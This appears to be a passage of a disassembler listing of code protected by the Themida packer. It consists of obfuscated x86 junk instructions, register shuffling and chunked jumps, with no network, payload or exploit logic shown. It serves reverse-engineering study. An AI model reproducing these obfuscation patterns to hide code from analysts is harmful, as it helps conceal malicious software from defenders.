		push	edi
		jmp	loc_59B9B4
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59D5BD:				; CODE XREF: Themida_:0059FC1Fj
		mov	dx, [esp]
		jmp	loc_5A4D5E
; ---------------------------------------------------------------------------


loc_59D5C6:				; CODE XREF: Themida_:0059BCC3j
		mov	ebx, 58C06BCh
		shr	ebx, 1
		shr	ebx, 8
		push	ecx
		mov	ecx, 0
		sub	ecx, ebx
		push	ebx
		push	ecx
		jmp	loc_5A048C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BAD


loc_59D5DF:				; CODE XREF: sub_595BAD+2F38j
		sub	edi, eax
		pop	eax
		push	edx
		mov	edx, 2AB14F3Eh
		inc	edx
		jmp	loc_5A2B6F
; END OF FUNCTION CHUNK	FOR sub_595BAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59D5EE:				; CODE XREF: sub_59390B+E34Fj
		inc	ecx
		xchg	eax, ecx
		xchg	eax, edi
		not	edi
		xchg	eax, edi
		xchg	eax, ecx
		xchg	eax, ecx
		not	eax
		push	ecx
		push	eax
		pop	ecx
		pop	eax
		push	608Dh
		mov	[esp-10h+arg_8], ecx
		not	[esp-10h+arg_8]
		mov	ecx, [esp-10h+arg_8]
		push	edi
		jmp	loc_5943A1
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59D610:				; CODE XREF: Themida_:00594B07j
		mov	edx, 2A7E4F6Bh
		neg	edx
		jmp	loc_5A1F0F
; ---------------------------------------------------------------------------


loc_59D61C:				; CODE XREF: Themida_:0059BDCEj
		add	edi, ebx
		pop	ebx
		xor	edi, 4BDA9942h
		jmp	loc_59A45F
; ---------------------------------------------------------------------------


loc_59D62A:				; CODE XREF: Themida_:005A4F22j
		pop	edx
		or	dl, bl
		pop	ebx
		jmp	loc_5920D5
; ---------------------------------------------------------------------------


loc_59D633:				; CODE XREF: Themida_:0059853Fj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	edx
		push	0E7B3228h
		pop	edx
		sub	ebx, 3697804h
		add	ebx, edx
		add	ebx, 3697804h
		mov	edx, [esp]
		push	ecx
		jmp	loc_59D8B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59D664:				; CODE XREF: sub_59390B+C73Ej
		mov	[esp-0Ch+arg_4], ebp
		push	esp
		pop	ebp
		jmp	loc_5990A8
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59D66E:				; CODE XREF: Themida_:00592CF7j
		mov	ebp, 0C81931DEh
		push	ebx
		jmp	loc_59E28F
; ---------------------------------------------------------------------------


loc_59D679:				; CODE XREF: Themida_:0059CF81j
		mov	ecx, 77D22F81h
		sub	ebp, ecx
		jmp	loc_59BECA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59D685:				; CODE XREF: sub_59390B+4055j
		mov	[esp+14h+var_14], esp
		add	[esp+14h+var_14], 4
		jmp	loc_5A2640
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A431


loc_59D694:				; CODE XREF: sub_59A431+7A4j
		add	eax, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_5A0D78
; END OF FUNCTION CHUNK	FOR sub_59A431
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59D6A4:				; CODE XREF: sub_59390B+91A9j
		mov	eax, 22661EEEh
		push	ecx
		jmp	loc_597064
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59D6AF:				; CODE XREF: Themida_:00593228j
		add	esp, 4
		jmp	loc_5A1F38
; ---------------------------------------------------------------------------


loc_59D6BA:				; CODE XREF: Themida_:00595A6Dj
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E918


loc_59D6BF:				; CODE XREF: sub_59E918-4741j
		pop	ax
		add	bl, al
		sub	esp, 4
		mov	[esp+0Ah+var_C+2], edx
		push	ecx
		push	edx
		mov	dl, 0A2h
		and	dl, 0D5h
		or	dl, 42h
		jmp	loc_594B0C
; END OF FUNCTION CHUNK	FOR sub_59E918
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_59D6D8:				; CODE XREF: sub_59CFD4-C4B4j
		mov	ecx, 4
		add	ebp, ecx
		jmp	loc_5A04AA
; END OF FUNCTION CHUNK	FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59D6E4:				; CODE XREF: sub_59390B+9EE6j
		mov	[esp-10h+arg_8], esi
		mov	esi, esp
		push	7B27h
		mov	[esp-0Ch+arg_4], ebx
		push	427C4813h
		pop	ebx
		or	ebx, 79AB56C3h
		shl	ebx, 8
		or	ebx, 55395593h
		push	esi
		mov	esi, 7C036BE2h
		sub	esi, 6689F53Eh
		add	ebx, esi
		pop	esi
		add	ebx, 0EB06B1CDh
		jmp	loc_59B39C
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FC5


loc_59D720:				; CODE XREF: sub_591FC5+BA80j
		mov	[esp+6+var_8+2], ecx
		push	edx
		mov	dh, 79h
		mov	cl, 42h
		jmp	loc_592196
; END OF FUNCTION CHUNK	FOR sub_591FC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592CFC


loc_59D72D:				; CODE XREF: sub_592CFC+52E0j
		sub	dh, bh
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		sub	al, 0F7h
		sub	al, dh
		add	al, 0F7h
		pop	edx
		sub	al, cl
		add	al, 0ACh
		jmp	loc_59416C
; END OF FUNCTION CHUNK	FOR sub_592CFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59D745:				; CODE XREF: sub_59390B+E8C3j
		xor	edi, [esp-0Ch+arg_4]
		xor	[esp-0Ch+arg_4], edi
		xor	edi, [esp-0Ch+arg_4]
		pop	esp
		push	[esp-10h+arg_8]
		jmp	loc_5A3E07
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_59D757:				; CODE XREF: sub_59CFD4+544j
		xor	[esp+10h+var_10], ebx
		jmp	loc_5A359C
; END OF FUNCTION CHUNK	FOR sub_59CFD4
; ---------------------------------------------------------------------------


loc_59D75F:				; CODE XREF: Themida_:005950FCj
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		push	766Dh
		mov	[esp], ebp
		push	2521h
		jmp	loc_59E872
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59338E


loc_59D784:				; CODE XREF: sub_59338E+122F2j
		or	esi, 72A616E9h
		push	ebx
		mov	ebx, 46155F78h
		add	ebx, 0FFA9A172h
		xor	esi, ebx
		pop	ebx
		sub	edx, esi
		pop	esi
		add	edx, ebp
		push	esi
		mov	esi, 517B25B4h
		xor	esi, 632213A7h
		add	edx, esi
		jmp	loc_5958BB
; END OF FUNCTION CHUNK	FOR sub_59338E
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	4D8Ch
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		jmp	loc_5A092E
; ---------------------------------------------------------------------------


loc_59D7D6:				; CODE XREF: Themida_:00590AACj
		pop	eax
		push	esi
		jmp	loc_59EE65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59D7DD:				; CODE XREF: sub_59390B+F371j
		add	edx, 76AE3F0Bh
		sub	edx, ebp
		sub	edx, 76AE3F0Bh
		pop	ebp
		pop	ecx
		xchg	edx, [esp-14h+arg_C]
		pop	esp
		jmp	loc_59D6E4
; ---------------------------------------------------------------------------


loc_59D7F6:				; CODE XREF: sub_59390B+A38Ej
		push	esi
		mov	esi, 460509C9h
		dec	esi
		sub	esi, 1E36031Bh
		or	eax, esi
		pop	esi
		shr	eax, 7
		push	258Ch
		jmp	loc_594475
; ---------------------------------------------------------------------------


loc_59D813:				; CODE XREF: sub_59390B+6893j
		mov	di, si
		jmp	loc_590F8F
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C623


loc_59D81B:				; CODE XREF: sub_59C623+4j
		push	esp
		pop	edi
		jmp	sub_5A0733
; END OF FUNCTION CHUNK	FOR sub_59C623
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A51EA


loc_59D822:				; CODE XREF: sub_5A51EA-14385j
		xchg	cl, dh
		add	dh, 7Ch
		dec	dh
		jmp	sub_592CFC
; END OF FUNCTION CHUNK	FOR sub_5A51EA

; =============== S U B	R O U T	I N E =======================================



sub_59D82E	proc near		; CODE XREF: sub_596FDC+16j

arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00590F1C SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005976EA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00598C39 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059A4C9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059F830 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A4623 SIZE 0000000F BYTES

		push	ebx
		mov	ebx, 21B77574h
		and	ebx, 6CB95866h
		dec	ebx
		jmp	loc_590F1C
sub_59D82E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59D840:				; CODE XREF: sub_59390B+A74j
		pop	ebp
		add	[esp+1Ah+var_14+2], ebp
		mov	ebp, [esp+0]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_597742
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FE1


loc_59D856:				; CODE XREF: sub_591FE1+190Fj
		pop	eax
		xor	ebx, [esp+0]
		xor	[esp+0], ebx
		xor	ebx, [esp+0]
		jmp	loc_595CE2
; END OF FUNCTION CHUNK	FOR sub_591FE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59D865:				; CODE XREF: sub_59390B+1973j
		push	edi
		mov	edi, 3D1F3D1Bh
		add	edi, 13C13732h
		sub	ecx, edi
		jmp	loc_59B44A
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_59D878:				; CODE XREF: sub_59CFD4+34E7j
		pop	esi
		add	esi, 20A273ACh
		pop	edi
		and	ecx, esi
		mov	esi, [esp+0Ch+var_C]
		jmp	loc_5954D4
; END OF FUNCTION CHUNK	FOR sub_59CFD4
; ---------------------------------------------------------------------------


loc_59D88A:				; CODE XREF: Themida_:0059D98Aj
		add	esp, 4
		jmp	loc_59354C
; ---------------------------------------------------------------------------


loc_59D892:				; CODE XREF: Themida_:005956B1j
		sub	ebx, 0E16CE663h
		jmp	loc_5912BB
; ---------------------------------------------------------------------------


loc_59D89D:				; CODE XREF: Themida_:00592F1Fj
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_5A2974
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A23FB


loc_59D8A8:				; CODE XREF: sub_5A23FB-519Bj
		add	edi, edx
		push	[esp-8+arg_4]
		pop	edx
		add	esp, 4
		sub	edi, ebx
		jmp	loc_5A4325
; END OF FUNCTION CHUNK	FOR sub_5A23FB
; ---------------------------------------------------------------------------


loc_59D8B8:				; CODE XREF: Themida_:0059D65Fj
		mov	ecx, esp
		add	ecx, 4
		push	eax
		mov	eax, 4
		jmp	loc_591A5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5936EC


loc_59D8CB:				; CODE XREF: sub_5936EC+111EFj
		sub	esi, eax
		pop	eax
		add	esi, edx
		push	eax
		jmp	loc_59CC03
; END OF FUNCTION CHUNK	FOR sub_5936EC
; ---------------------------------------------------------------------------


loc_59D8D6:				; CODE XREF: Themida_:005A2BC1j
		pop	eax
		xor	edx, ebx
		pop	ebx
		sub	edi, edx
		pop	edx
		mov	esi, edi
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_591B42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0BFE


loc_59D8EA:				; CODE XREF: sub_5A0BFE-771Bj
		xchg	edi, [esp-8+arg_4]
		pop	esp
		push	[esp-0Ch+arg_8]
		pop	edx
		push	ebx
		mov	ebx, esp
		push	ebp
		sub	esp, 4
		mov	[esp+0], esi
		sub	esp, 4
		mov	[esp+4+var_4], edx
		jmp	loc_59F8F0
; END OF FUNCTION CHUNK	FOR sub_5A0BFE
; ---------------------------------------------------------------------------


loc_59D90A:				; CODE XREF: Themida_:005927ACj
		add	bh, 67h
		dec	bh
		shr	bh, 7
		jmp	loc_5A1DF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59D917:				; CODE XREF: sub_59390B+1C71j
		pop	eax
		sub	edx, 60775E7h
		sub	edx, esi
		add	edx, 60775E7h
		mov	esi, [esp+4+var_4]
		jmp	loc_59EFAF
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598762


loc_59D92E:				; CODE XREF: sub_598762+18j
		push	[esp+8+var_8]
		pop	ebp
		jmp	loc_5A021C
; END OF FUNCTION CHUNK	FOR sub_598762
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59D937:				; CODE XREF: sub_59390B+F4CBj
		add	edi, 4
		xchg	edi, [esp+4+var_4]
		jmp	loc_5A3383
; ---------------------------------------------------------------------------


loc_59D942:				; CODE XREF: sub_59390B+5B2j
		add	edi, esi
		add	edi, 331E7588h
		sub	edi, 328D7068h
		mov	esi, [esp+4+var_4]
		add	esp, 4
		and	eax, edi
		pop	edi
		jmp	loc_59DD9F
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59D961:				; CODE XREF: Themida_:005A599Aj
		xor	edi, 3B2825BCh
		xor	eax, edi
		jmp	loc_59261F
; ---------------------------------------------------------------------------


loc_59D96E:				; CODE XREF: Themida_:005A4F3Dj
		pop	esp
		mov	[esp], edx
		mov	dl, 99h
		push	eax
		mov	ah, 0C4h
		jmp	loc_591B32
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59D97C:				; CODE XREF: sub_59390B-6BBj
		add	ebp, ecx
		jmp	loc_592ECD
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59D983:				; CODE XREF: Themida_:0059FA70j
		add	edx, ecx
		pop	ecx
		push	dword ptr [esp]
		pop	esi
		jmp	loc_59D88A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BAD


loc_59D98F:				; CODE XREF: sub_595BAD-CB8j
		mov	[esp+4+var_4], ebx
		sub	[esp+4+var_4], 671363C3h
		push	[esp+4+var_4]
		mov	eax, [esp+8+var_8]
		add	esp, 4
		jmp	sub_59B8C7
; END OF FUNCTION CHUNK	FOR sub_595BAD
; ---------------------------------------------------------------------------


loc_59D9AA:				; CODE XREF: Themida_:00599EA4j
		shr	ebp, 1
		or	ebp, 0EF2084Bh
		shr	ebp, 3
		dec	ebp
		push	eax
		mov	eax, 54F111Dh
		jmp	loc_593F04
; ---------------------------------------------------------------------------


loc_59D9C1:				; CODE XREF: Themida_:0059C35Bj
		add	ecx, ebp
		push	edi
		mov	edi, 56A3058Eh
		add	ecx, edi
		jmp	loc_596E4E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5950DF


loc_59D9D0:				; CODE XREF: sub_5950DF+E400j
		pop	ebx
		jmp	loc_598163
; END OF FUNCTION CHUNK	FOR sub_5950DF
; ---------------------------------------------------------------------------


loc_59D9D6:				; CODE XREF: Themida_:0059E385j
		xor	ebp, [esp]
		jmp	loc_5A5880
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59333E


loc_59D9DE:				; CODE XREF: sub_59333E-25A0j
		pop	esp
		xor	eax, [esp+4+var_4]
		xor	[esp+4+var_4], eax
		xor	eax, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		jmp	sub_59D02F
; ---------------------------------------------------------------------------


loc_59D9F0:				; CODE XREF: sub_59333E+A188j
		pop	ecx
		jmp	loc_590D9B
; END OF FUNCTION CHUNK	FOR sub_59333E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F53F


loc_59D9F6:				; CODE XREF: sub_59F53F-3A26j
		pop	[esp-8+arg_4]
		jmp	loc_5A1E18
; END OF FUNCTION CHUNK	FOR sub_59F53F

; =============== S U B	R O U T	I N E =======================================



sub_59D9FE	proc near		; CODE XREF: sub_59390B-1C28j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059BF6C SIZE 00000013 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	ebx, 2191250Ch
		jmp	loc_59BF6C
sub_59D9FE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FC5


loc_59DA0E:				; CODE XREF: sub_591FC5+C0ACj
		mov	[esp+6+var_8+2], ebx
		mov	bl, 52h
		shr	bl, 5
		push	eax
		mov	al, 5Dh
		add	bl, al
		pop	eax
		add	ch, 20h
		add	ch, bl
		sub	ch, 20h
		push	[esp+6+var_8+2]
		push	[esp+0Ah+var_C+2]
		pop	ebx
		add	esp, 4
		add	esp, 4
		sub	al, ch
		pop	ecx
		sub	esp, 4
		mov	[esp+2+var_4+2], ebx
		push	7383h
		jmp	loc_59D720
; END OF FUNCTION CHUNK	FOR sub_591FC5
; ---------------------------------------------------------------------------
word_59DA4A	dw 0EB68h		; DATA XREF: Themida_:005907F0o
		dd 68000062h, 33FBh, 2AB468h, 3C37E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59DA5E:				; CODE XREF: sub_59390B+D68Dj
		sub	edi, 0FFFFFFFFh
		push	5709h
		mov	[esp+8+var_8], edx
		mov	edx, 51C75F94h
		dec	edx
		jmp	loc_5A48EA
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59DA77:				; CODE XREF: Themida_:0059EF72j
		add	edx, ebp
		add	edx, 38F97ED1h
		jmp	loc_5A33D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F8C2


loc_59DA84:				; CODE XREF: sub_59F8C2-13EDj
		mov	ebp, 39FE1471h
		add	ebp, 4FC465B1h
		sub	ebp, edi
		sub	ebp, 4FC465B1h
		pop	edi
		sub	ebx, ebp
		pop	ebp
		xchg	ebx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		jmp	loc_594920
; END OF FUNCTION CHUNK	FOR sub_59F8C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59386B


loc_59DAA6:				; CODE XREF: sub_59386B+8144j
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	sub_59A958
; END OF FUNCTION CHUNK	FOR sub_59386B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59DAB4:				; CODE XREF: sub_59390B+278j
		mov	[esp-0Ch+arg_4], ecx
		push	ebp
		mov	ebp, 298840E1h
		shl	ebp, 3
		dec	ebp
		push	ebx
		jmp	loc_5A4727
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59DAC7:				; CODE XREF: Themida_:005A09B7j
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		push	2E6h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_59D28D

; =============== S U B	R O U T	I N E =======================================



sub_59DADF	proc near		; DATA XREF: Themida_:00590A40o
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp+0], cl
		pushf
		jmp	loc_590A9B
sub_59DADF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0060


loc_59DAEF:				; CODE XREF: sub_5A0060-A8F1j
		pop	esp
		mov	[esp-8+arg_4], esp
		add	[esp-8+arg_4], 4
		pop	edx
		push	edi
		push	ecx
		jmp	loc_5A119D
; END OF FUNCTION CHUNK	FOR sub_5A0060
; ---------------------------------------------------------------------------


loc_59DAFF:				; CODE XREF: Themida_:005A47A9j
		add	eax, 4
		sub	eax, 4
		jmp	loc_596D84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59DB0E:				; CODE XREF: sub_59390B+104DAj
		pop	eax
		push	cx
		jmp	loc_5937F4
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59DB16:				; CODE XREF: Themida_:005A0B6Dj
		shl	esi, 4
		push	ebp
		mov	ebp, 17C84AAEh
		inc	ebp
		sub	ebp, 59DE303Dh
		or	ebp, 4DA73D9Eh
		shl	ebp, 4
		xor	ebp, 1E8C5223h
		sub	esi, ebp
		pop	ebp
		add	esi, 0FFFFFFFFh
		xor	esi, 4AB471C2h
		mov	eax, esi
		jmp	loc_599A9F
; ---------------------------------------------------------------------------


loc_59DB4B:				; CODE XREF: Themida_:005911B8j
		add	ebp, 4
		push	eax
		mov	eax, 39F47192h
		jmp	loc_59D26C
; ---------------------------------------------------------------------------


loc_59DB5C:				; CODE XREF: Themida_:005A0858j
		pop	ecx
		sub	ebp, 613F4BB6h
		neg	ebp
		push	ecx
		mov	ecx, 2423404h
		xor	ebp, ecx
		jmp	loc_5A18F2
; ---------------------------------------------------------------------------


loc_59DB72:				; CODE XREF: Themida_:00598E59j
		add	edx, 4
		xor	edx, [esp]
		jmp	loc_592A1C
; ---------------------------------------------------------------------------


loc_59DB7D:				; CODE XREF: Themida_:00599EE7j
		xchg	edx, [esp]
		pop	esp
		sub	eax, 381647E3h
		add	eax, esi
		add	eax, 381647E3h
		pop	esi
		jmp	loc_5915AA
; ---------------------------------------------------------------------------


loc_59DB93:				; CODE XREF: Themida_:0059E296j
		pop	ebx
		sub	esi, 76C675B0h
		sub	esi, ebp
		add	esi, 76C675B0h
		jmp	loc_598528
; ---------------------------------------------------------------------------


loc_59DBA7:				; CODE XREF: Themida_:00594FCAj
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5A2E0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59DBB5:				; CODE XREF: sub_59390B+11532j
		mov	esi, esp
		jmp	loc_5A1DAD
; ---------------------------------------------------------------------------


loc_59DBBC:				; CODE XREF: sub_59390B+11125j
		xor	[esp+0], esi
		xor	esi, [esp+0]
		pop	esp
		mov	[esp-0Ah+arg_0+2], ebx
		mov	bh, 0BEh
		push	eax
		mov	ah, 0CAh
		jmp	loc_593023
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59DBD0:				; CODE XREF: Themida_:00593516j
		push	edx
		mov	edx, 4
		push	edi
		mov	edi, 6392182Fh
		shr	edi, 5
		jmp	loc_5998BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59DBE4:				; CODE XREF: sub_59390B+922Cj
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		xor	ebp, [esp-8+arg_0]
		xor	[esp-8+arg_0], ebp
		xor	ebp, [esp-8+arg_0]
		mov	esp, [esp-8+arg_0]
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_59EACF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59654E


loc_59DC04:				; CODE XREF: sub_59654E+3973j
		mov	ecx, [esp+4+var_4]
		jmp	loc_59276C
; END OF FUNCTION CHUNK	FOR sub_59654E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A431


loc_59DC0C:				; CODE XREF: sub_59A431+8BCDj
		not	edx
		sub	edx, 32A6440Ch
		sub	ebp, edx
		pop	edx
		and	ecx, ebp
		push	[esp+14h+var_14]
		mov	ebp, [esp+18h+var_18]
		add	esp, 4
		add	esp, 4
		shr	ecx, 7
		jmp	loc_59561D
; END OF FUNCTION CHUNK	FOR sub_59A431
; ---------------------------------------------------------------------------


loc_59DC30:				; CODE XREF: Themida_:0059B236j
		pop	ebx
		add	ecx, 57220Bh
		add	edx, ecx
		jmp	loc_593D57
; ---------------------------------------------------------------------------


loc_59DC3E:				; CODE XREF: Themida_:0059E693j
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	ebx, 2
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_59DC64:				; CODE XREF: Themida_:005A45B3j
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_59F568
; ---------------------------------------------------------------------------


loc_59DC74:				; CODE XREF: Themida_:005A26B7j
		mov	eax, [esp]
		jmp	loc_5A1C33
; ---------------------------------------------------------------------------


loc_59DC7C:				; CODE XREF: Themida_:0059B4BFj
		sub	eax, 2846418Ah
		sub	eax, 46EA3CB8h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	edi
		jmp	loc_5994E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59DC94:				; CODE XREF: sub_59390B+64Fj
		or	eax, 420D6D8Eh
		jmp	loc_59D7F6
; END OF FUNCTION CHUNK	FOR sub_59390B

; =============== S U B	R O U T	I N E =======================================



sub_59DC9E	proc near		; CODE XREF: sub_5A16B7-F421j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005959D6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00596E23 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059FA09 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A3E8D SIZE 00000025 BYTES

		sub	esp, 4
		mov	[esp-4+arg_0], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-4+arg_0]
		jmp	loc_59FA09
sub_59DC9E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_59DCBA:				; CODE XREF: Themida_:005A11CCj
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 740D04C9h
		push	ecx
		jmp	loc_592515
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4CDD


loc_59DCEF:				; CODE XREF: sub_5A4CDD-2DD3j
		not	ecx
		jmp	loc_5916B9
; ---------------------------------------------------------------------------


loc_59DCF6:				; CODE XREF: sub_5A4CDD-7F32j
		or	ecx, ebx
		pop	ebx
		xor	ecx, 0E1E4AEFh
		sub	ebp, ecx
		mov	ecx, [esp+0]
		add	esp, 4
		and	eax, ebp
		pop	ebp
		shr	eax, 12h
		xor	eax, ecx
		xchg	eax, ebx
		xor	ebx, esi
		xor	esi, ebx
		jmp	loc_59728C
; END OF FUNCTION CHUNK	FOR sub_5A4CDD

; =============== S U B	R O U T	I N E =======================================



sub_59DD1C	proc near		; CODE XREF: sub_59390B+1FDj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005975F4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059A12F SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A2A4D SIZE 0000000D BYTES

		push	ebp
		mov	ebp, 307617CEh
		dec	ebp
		shr	ebp, 1
		sub	ebp, 14F6C7DEh
		sub	esi, 771E5989h
		sub	esi, ebp
		add	esi, 771E5989h
		pop	ebp
		sub	esi, 47853C1Ah
		add	esi, edi
		push	ecx
		jmp	loc_5A2A4D
sub_59DD1C	endp

; ---------------------------------------------------------------------------


loc_59DD48:				; CODE XREF: Themida_:005A1F10j
		mov	ebx, 681261E1h
		jmp	loc_59C2F2
; ---------------------------------------------------------------------------


loc_59DD52:				; CODE XREF: Themida_:00598D36j
		mov	eax, esp
		add	eax, 4
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		jmp	loc_59A5F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4CDD


loc_59DD67:				; CODE XREF: sub_5A4CDD-121B0j
		xor	ebp, edx
		jmp	loc_595EE1
; END OF FUNCTION CHUNK	FOR sub_5A4CDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59DD6E:				; CODE XREF: sub_59390B+F225j
		push	4CF448C4h
		mov	ecx, [esp+0Ch+var_C]
		jmp	loc_591E8A
; END OF FUNCTION CHUNK	FOR sub_59390B
